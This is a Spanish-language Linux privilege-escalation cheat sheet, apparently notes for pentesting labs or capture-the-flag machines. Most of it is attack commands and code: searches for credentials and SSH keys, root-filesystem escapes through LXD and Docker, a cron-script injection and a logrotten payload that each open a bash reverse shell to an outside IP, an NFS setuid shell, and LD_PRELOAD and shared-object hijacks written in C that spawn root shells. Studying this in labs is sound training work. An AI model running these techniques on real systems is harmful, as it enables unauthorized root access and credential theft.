Comandos básicos para orientarnos: whoami , id , hostname , ifconfig /ip a , y sobre todo sudo -l (a veces sudo su es el camino más rápido).
Recopilación de Información Enumeración del Sistema bash Copy
$ cat /etc/os-release # distribuciónuname -a # kernel $ echo $PATH # posibles problemas de PATHenv # credenciales en variables lsblk; df -h; cat /etc/fstab # discos y montajes $ cat /etc/passwd /etc/group # usuarios y grupos$ find / -type f -name ".*" 2>/dev/null # ficheros ocultosRevisar /home/<usuario> (.bash_history, claves SSH en .ssh), directorios temporales (/tmp , /var/tmp , /dev/shm ), cron jobs (ls -la /etc/cron.* ), /proc (find /proc -name cmdline -exec cat {} \; ), paquetes (apt list --installed , sudo -V ), procesos como root (ps aux | grep root ).
Buscar credenciales terminal Copy
$ cat wp-config.php | grep 'DB_USER\|DB_PASSWORD'$ find / ! -path "*/proc/*" -iname "*config*" -type f 2>/dev/nullClaves SSH privadas de otros usuarios; revisar ~/.ssh/known_hosts .
Basado en el entorno Permisos SUID y SGID terminal Copy
$ find / -perm -4000 -type f 2>/dev/null # SUID$ find / -perm -2000 -type f 2>/dev/null # SGIDSudo -l Grupos Privilegiados LXC / LXD terminal Copy
lxc init alpine r00t -c security.privileged=true lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true lxc start r00t lxc exec r00t /bin/sh Docker terminal Copy
$ docker run -v /:/mnt --rm -it ubuntu chroot /mnt bashDisk y adm Dan acceso directo a los discos (/dev/sda1 ) y a los logs de /var/log/ .
Capabilities terminal Copy
getcap -r / 2>/dev/null # p.ej. /usr/bin/vim.basic = cap_dac_override+eip -> leer root/flag.txt con vim Basado en servicios Cron Jobs Rutas: /etc/crontab , /etc/cron.d/ , /var/spool/cron/ . Usa pspy para observar procesos. Caso real: /dmz-backups/backup.sh con permisos 777 ejecutado cada 3 minutos por cron → añadir bash -i >& /dev/tcp/10.10.14.3/443 0>&1 .
Logrotate Vulnerable si tienes escritura sobre un log que será rotado, el script corre como root, y la versión es vulnerable (3.8.6, 3.11.0, 3.15.0, 3.18.0):
terminal Copy
$ git clone https://github.com/whotwagner/logrotten.git$ cd logrotten && gcc logrotten.c -o logrotten$ echo 'bash -i >& /dev/tcp/TU_IP/PUERTO 0>&1' > payload$ ./logrotten -p ./payload /tmp/archivo.logNFS (no_root_squash) bash Copy
showmount -e <ip>; cat /etc/exports # Si hay no_root_squash: montar, subir binario setuid y ejecutarlo sudo mount -t nfs 10.129.X.X:/tmp /mnt gcc shell.c -o shell # setuid(0);setgid(0);system("/bin/bash") $ cp shell /mnt && chmod u+s /mnt/shellSecuestro de sesiones TMUX terminal Copy
ps aux | grep tmux tmux -S /shareds Basado en sistemas internos LD_PRELOAD Si sudo -l muestra env_keep+=LD_PRELOAD y puedes ejecutar algo como sudo:
c Copy
void _init () { unsetenv ("LD_PRELOAD" ); setgid (0 ); setuid (0 ); system ("/bin/bash" ); }terminal Copy
gcc -fPIC -shared -o /tmp/root.so root.c -nostartfiles sudo LD_PRELOAD=/tmp/root.so /usr/bin/openssl Shared Object Hijacking Binario SETUID con RUNPATH escribible (ldd/readelf). Reemplazar la librería con una que defina la función esperada (dbquery() ):
c Copy
void dbquery () { setuid (0 ); system ("/bin/sh -p" ); }terminal Copy
gcc src.c -fPIC -shared -o /development/libshared.so Python Library Hijacking Si un script SUID importa un módulo con permisos de escritura, o puedes crear psutil.py en un directorio de mayor prioridad en sys.path , o usar PYTHONPATH :
terminal Copy
sudo PYTHONPATH=/tmp/ /usr/bin/python3 mem_status.py 0-days recientes Sudo : CVE-2021-3156 (Baron Samedit), CVE-2019-14287 (sudo < 1.8.28).Polkit (PwnKit).Dirty Pipe : kernel 5.8–5.17 (uname -r ). Exploit 2: find / -perm -4000 2>/dev/null y ./exploit-2 /usr/bin/sudo .Netfilter : CVE-2021-22555 (kernel 2.6–5.11).Otros terminal Copy
ss -lntp # puertos internos $ cat /etc/nginx/sites-enabled # subdominios